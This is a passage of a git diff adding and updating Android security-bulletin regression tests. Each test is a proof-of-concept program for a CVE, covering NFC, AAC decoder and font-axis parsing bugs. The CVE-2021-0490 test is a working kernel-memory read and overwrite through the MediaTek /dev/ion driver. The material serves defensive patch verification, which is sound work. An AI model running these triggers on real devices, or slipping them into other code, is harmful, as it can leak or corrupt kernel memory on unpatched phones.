+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ uint8_t majorVersion = 1;
+ uint8_t minorVersion = 0;
+ uint8_t axisOffset = 0x10;
+ uint8_t axisCount = 0xFF;
+ uint8_t axisSize = 0x14;
+
+ size_t allocatedSize = sizeof(uint8_t) * 16;
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t* fvarData = (uint8_t*) malloc(allocatedSize);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fvarData);
+ memset(fvarData, 0x0, allocatedSize);
+
+ fvarData[1] = majorVersion;
+ fvarData[3] = minorVersion;
+ fvarData[5] = axisOffset;
+ fvarData[8] = axisCount;
+ fvarData[9] = axisCount;
+ fvarData[11] = axisSize;
+
+ size_t fvarSize = axisOffset + axisOffset * ((axisCount << 8) | axisCount);
+ std::unordered_set < uint32_t > axes;
+ isTestInProgress = true;
+ analyzeAxes(fvarData, fvarSize, &axes);
+ isTestInProgress = false;
+ free(fvarData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp
new file mode 100644
index 00000000000..5b9e6ddba7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name : "CVE-2018-9549",
+ defaults : ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs : [
+ "poc.cpp",
+ ],
+ shared_libs : [
+ "libbluetooth",
+ ],
+ include_dirs : [
+ "external/aac/libSBRdec/src",
+ "external/aac/libSBRdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libSYS/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp
new file mode 100644
index 00000000000..11165d29065
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9549/poc.cpp
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "lpp_tran.h"
+
+constexpr uint8_t kDegreeAliasMaxSize = 64;
+
+int main() {
+ FIXP_DBL qmfBufferRealVal = {};
+ FIXP_DBL *qmfBufferReal = &qmfBufferRealVal;
+ FIXP_DBL qmfBufferImagVal = {};
+ FIXP_DBL *qmfBufferImag = &qmfBufferImagVal;
+ QMF_SCALE_FACTOR sbrScaleFactor = {};
+ FIXP_DBL degreeAlias[kDegreeAliasMaxSize] = {};
+
+ SBR_LPP_TRANS hLppTransVal = {};
+ HANDLE_SBR_LPP_TRANS hLppTrans = &hLppTransVal;
+ TRANSPOSER_SETTINGS settings = {};
+ for (int32_t i = 0; i < MAX_NUM_NOISE_VALUES; ++i) {
+ settings.bwBorders[i] = 64;
+ }
+ settings.nCols = 1;
+ hLppTrans->pSettings = &settings;
+
+ lppTransposer(hLppTrans, &sbrScaleFactor, &qmfBufferReal, degreeAlias, &qmfBufferImag, 1, 0, 0,
+ 0, 0, 0, 0, nullptr, nullptr);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
index 61166aa2d39..de0a9aa6aed 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
@@ -38,5 +38,6 @@ cc_test {
],
cflags: [
"-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
index c8734bb370b..5205d0588b8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
@@ -17,6 +17,29 @@
#include <stdlib.h>
#include <nfc_int.h>
#include <rw_int.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ size_t pageSize = getpagesize();
+ if (pageSize) {
+ char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+ char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+ if (faultPage == vulnPtrGuardPage) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ }
+ }
+ _exit(EXIT_FAILURE);
+}
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
@@ -26,7 +49,7 @@ tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
uint8_t mrti_check, uint8_t mrti_update);
void *allocate_memory(size_t size) {
- void *ptr = malloc(size);
+ void *ptr = memalign(16, size);
memset(ptr, 0x0, size);
return ptr;
}
@@ -67,6 +90,10 @@ void GKI_stop_timer(uint8_t) {
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
GKI_init();
@@ -75,20 +102,20 @@ int main() {
uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
uint8_t mrti_check = 1, mrti_update = 1;
- if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+ FAIL_CHECK((rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK));
p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(p_data);
- p_data->data.p_data = (NFC_HDR*)allocate_memory(3 * sizeof(NFC_HDR));
- if(!p_data->data.p_data) {
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 3);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ if (!(p_data->data.p_data)) {
free(p_data);
- return EXIT_FAILURE;
+ FAIL_CHECK(p_data->data.p_data);
}
+ vulnPtr = (char *)p_data->data.p_data;
p_data->status = NFC_STATUS_OK;
p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
@@ -105,6 +132,8 @@ int main() {
tNFC_CONN_EVT event = NFC_DATA_CEVT;
memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
NCI_NFCID2_LEN);
+ testInProgress = true;
p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
index 2187f920734..2c21381b503 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
@@ -38,5 +38,6 @@ cc_test {
],
cflags: [
"-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
index f2150857d61..b9252c5fd54 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
@@ -20,6 +20,29 @@
#include <nfc_api.h>
#include <tags_defs.h>
#include <rw_int.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ size_t pageSize = getpagesize();
+ if (pageSize) {
+ char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+ char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+ if (faultPage == vulnPtrGuardPage) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ }
+ }
+ _exit(EXIT_FAILURE);
+}
#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
@@ -31,7 +54,7 @@ tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
uint8_t mrti_check, uint8_t mrti_update);
void *allocate_memory(size_t size) {
- void *ptr = malloc(size);
+ void *ptr = memalign(16, size);
memset(ptr, 0x0, size);
return ptr;
}
@@ -104,19 +127,19 @@ int trigger_OOB_via_rw_t3t_act_handle_fmt_rsp(){
uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
uint8_t mrti_check = 1, mrti_update = 1;
- if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(p_data);
+
p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
if (!(p_data->data.p_data)) {
free(p_data);
- return EXIT_FAILURE;
+ FAIL_CHECK(p_data->data.p_data);
}
+ vulnPtr = (char *)p_data->data.p_data;
p_data->status = NFC_STATUS_OK;
p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
@@ -137,7 +160,9 @@ int trigger_OOB_via_rw_t3t_act_handle_fmt_rsp(){
tNFC_CONN_EVT event = NFC_DATA_CEVT;
memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
NCI_NFCID2_LEN);
+ testInProgress = true;
p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
free(p_data->data.p_data);
free(p_data);
return EXIT_SUCCESS;
@@ -152,19 +177,19 @@ int trigger_OOB_via_rw_t3t_act_handle_sro_rsp(){
uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
uint8_t mrti_check = 1, mrti_update = 1;
- if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(p_data);
+
p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
if (!(p_data->data.p_data)) {
free(p_data);
- return EXIT_FAILURE;
+ FAIL_CHECK(p_data->data.p_data);
}
+ vulnPtr = (char *)p_data->data.p_data;
p_data->status = NFC_STATUS_OK;
p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
@@ -184,13 +209,19 @@ int trigger_OOB_via_rw_t3t_act_handle_sro_rsp(){
tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ testInProgress = true;
p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
free(p_data->data.p_data);
free(p_data);
return EXIT_SUCCESS;
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
int ret = trigger_OOB_via_rw_t3t_act_handle_fmt_rsp();
ret |= trigger_OOB_via_rw_t3t_act_handle_sro_rsp();
return ret;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
new file mode 100644
index 00000000000..2895e89f770
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0490",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp",],
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
new file mode 100644
index 00000000000..04a9c990387
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -0,0 +1,387 @@
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/uio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <log/log.h>
+
+#define FAIL_CHECK_ALOGE(condition, error_message) \
+ if (!(condition)) { \
+ ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
+ __LINE__); \
+ exit(EXIT_FAILURE); \
+ }
+
+typedef unsigned int u32;
+typedef unsigned long u64;
+
+#define ION_IOC_MAGIC 'I'
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+/* Structure definitions */
+
+enum ION_CMDS {
+ ION_CMD_SYSTEM,
+ ION_CMD_MULTIMEDIA,
+ ION_CMD_MULTIMEDIA_SEC
+};
+
+struct ion_custom_data {
+ unsigned int cmd;
+ unsigned long arg;
+};
+
+struct ion_fd_data {
+ int handle;
+ int fd;
+};
+
+struct ion_allocation_data {
+ size_t len;
+ size_t align;
+ unsigned int heap_id_mask;
+ unsigned int flags;
+ int handle;
+};
+
+struct ion_handle_data {
+ int handle;
+};
+
+struct ion_heap_query {
+ __u32 cnt; /* Total number of heaps to be copied */
+ __u32 reserved0; /* align to 64bits */
+ __u64 heaps; /* buffer to be populated */
+ __u32 reserved1;
+ __u32 reserved2;
+};
+
+enum ION_CACHE_SYNC_TYPE {
+ ION_CACHE_CLEAN_BY_RANGE,
+ ION_CACHE_INVALID_BY_RANGE,
+ ION_CACHE_FLUSH_BY_RANGE,
+ ION_CACHE_CLEAN_BY_RANGE_USE_VA,
+ ION_CACHE_INVALID_BY_RANGE_USE_VA,
+ ION_CACHE_FLUSH_BY_RANGE_USE_VA,
+ ION_CACHE_CLEAN_ALL,
+ ION_CACHE_INVALID_ALL,
+ ION_CACHE_FLUSH_ALL
+};
+
+enum ION_SYS_CMDS {
+ ION_SYS_CACHE_SYNC,
+ ION_SYS_GET_PHYS,
+ ION_SYS_GET_CLIENT,
+ ION_SYS_SET_HANDLE_BACKTRACE,
+ ION_SYS_SET_CLIENT_NAME,
+ ION_SYS_DMA_OP,
+};
+
+struct ion_sys_cache_sync_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_CACHE_SYNC_TYPE sync_type;
+};
+
+struct ion_sys_get_phys_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ unsigned int phy_addr;
+ unsigned long len;
+};
+
+struct ion_sys_get_client_param {
+ unsigned int client;
+};
+
+#define ION_MM_DBG_NAME_LEN 48
+#define ION_MM_SF_BUF_INFO_LEN 16
+
+struct ion_sys_client_name {
+ char name[ION_MM_DBG_NAME_LEN];
+};
+
+#define BACKTRACE_SIZE 10
+
+struct ion_sys_record_param {
+ pid_t group_id;
+ pid_t pid;
+ unsigned int action;
+ unsigned int address_type;
+ unsigned int address;
+ unsigned int length;
+ unsigned int backtrace[BACKTRACE_SIZE];
+ unsigned int backtrace_num;
+ void *handle;
+ void *client;
+ void *buffer;
+ void *file;
+ int fd;
+};
+
+enum ION_DMA_TYPE {
+ ION_DMA_MAP_AREA,
+ ION_DMA_UNMAP_AREA,
+ ION_DMA_MAP_AREA_VA,
+ ION_DMA_UNMAP_AREA_VA,
+ ION_DMA_FLUSH_BY_RANGE,
+ ION_DMA_FLUSH_BY_RANGE_USE_VA,
+ ION_DMA_CACHE_FLUSH_ALL
+};
+
+enum ION_DMA_DIR {
+ ION_DMA_FROM_DEVICE,
+ ION_DMA_TO_DEVICE,
+ ION_DMA_BIDIRECTIONAL,
+};
+
+struct ion_dma_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_DMA_TYPE dma_type;
+ enum ION_DMA_DIR dma_dir;
+};
+
+#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
+ struct ion_allocation_data)
+
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+struct ion_sys_data {
+ enum ION_SYS_CMDS sys_cmd;
+ union {
+ struct ion_sys_cache_sync_param cache_sync_param;
+ struct ion_sys_get_phys_param get_phys_param;
+ struct ion_sys_get_client_param get_client_param;
+ struct ion_sys_client_name client_name_param;
+ struct ion_sys_record_param record_param;
+ struct ion_dma_param dma_param;
+ };
+};
+
+union ion_ioctl_arg {
+ struct ion_fd_data fd;
+ struct ion_allocation_data allocation;
+ struct ion_handle_data handle;
+ struct ion_custom_data custom;
+ struct ion_heap_query query;
+};
+
+enum mtk_ion_heap_type {
+ ION_HEAP_TYPE_MULTIMEDIA = 10,
+ ION_HEAP_TYPE_FB = 11,
+ ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
+ ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
+ ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
+ ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
+ ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
+ ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
+ ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
+/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
+};
+
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+
+/*
+struct ion_client {
+ struct rb_node node;
+ struct ion_device *dev;
+ struct rb_root handles;
+ struct idr idr;
+ struct mutex lock;
+ const char *name;
+ char *display_name;
+ int display_serial;
+ struct task_struct *task;
+ pid_t pid;
+ struct dentry *debug_root;
+ char dbg_name[ION_MM_DBG_NAME_LEN];
+};
+*/
+// "dev" offset inside ion_client
+#define ion_device_OFF 12
+
+/*
+
+struct ion_device {
+ struct miscdevice dev;
+ struct rb_root buffers;
+ struct mutex buffer_lock;
+ struct rw_semaphore lock;
+ struct plist_head heaps;
+ long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
+ unsigned long arg);
+ struct rb_root clients;
+ struct dentry *debug_root;
+ struct dentry *heaps_debug_root;
+ struct dentry *clients_debug_root;
+};
+
+*/
+
+//"custom_ioctl" offset inside
+#define custom_ioctl_OFF 100
+
+int g_fd = -1;
+
+#define MMAP_SIZE 4096
+//#define PAGE_SIZE 4096
+
+int alloc_handle(int type, unsigned long kernel_obj_addr) {
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.allocation.len = MMAP_SIZE;
+ iia.allocation.align = kernel_obj_addr;
+ iia.allocation.heap_id_mask = 1 << type;
+ iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
+
+ FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
+ ALOGE("ION_IOC_ALLOC success");
+ return iia.allocation.handle;
+}
+
+int poc_write_kernel() {
+
+ g_fd = open("/dev/ion", 0x80000);
+ FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
+ ALOGE("[+] open /dev/ion");
+
+ int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
+
+ FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.fd.handle = handle;
+
+ FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
+ ALOGE("ION_IOC_SHARE handle success");
+
+ int dma_fd = iia.fd.fd;
+
+ char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
+ FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
+
+ ALOGE("re_buf addr:%p", re_buf);
+ ALOGE("re_buf[0]:%x", re_buf[0]);
+
+ unsigned long read_num = 0;
+ int counter = 0;
+ unsigned long *read_buf = (unsigned long *)re_buf;
+ for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
+ if (read_buf[read_num]) {
+ //reduce number of log messages
+ if(counter++ % 8 == 0){
+ ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
+ }
+ }
+ }
+ ALOGE("read_num = %lu", read_num);
+ ALOGE("non zero = %d", counter);
+
+ memset(re_buf, 0xbb, MMAP_SIZE);
+ munmap(re_buf, MMAP_SIZE);
+ close(dma_fd);
+ close(g_fd);
+
+ return 0;
+}
+
+int main() {
+ poc_write_kernel();
+ ALOGE("test end");
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
index 470f2561c51..cdcf942d497 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
@@ -15,6 +15,10 @@
*
*/
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
cc_test {
name: "CVE-2021-0596",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -38,5 +42,6 @@ cc_test {
],
cflags: [
"-DCHECK_UNDERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
index 9b250044e38..3b1a58014a3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
@@ -15,21 +15,50 @@
*
*/
+#include <unistd.h>
#include "phNxpExtns_MifareStd.h"
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ size_t pageSize = getpagesize();
+ if (pageSize) {
+ char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) - pageSize;
+ char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+ if (faultPage == vulnPtrGuardPage) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ }
+ }
+ _exit(EXIT_FAILURE);
+}
uint8_t NFC_GetNCIVersion() {
return NCI_VERSION_2_0;
}
int main() {
- uint8_t *buffer = (uint8_t*) malloc(16 * sizeof(uint8_t));
- if (buffer == nullptr) {
- return EXIT_FAILURE;
- }
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+ uint8_t *buffer = (uint8_t*) memalign(16, 16 * sizeof(uint8_t));
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(buffer);
+
+ vulnPtr = (char *) buffer;
uint8_t bufferSize = 1;
buffer[0] = 0x10;
phNxpExtns_MfcModuleInit();
+ testInProgress = true;
Mfc_RecvPacket(buffer, bufferSize);
+ testInProgress = false;
free(buffer);
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp
new file mode 100644
index 00000000000..e4a6a48fad1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0919/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
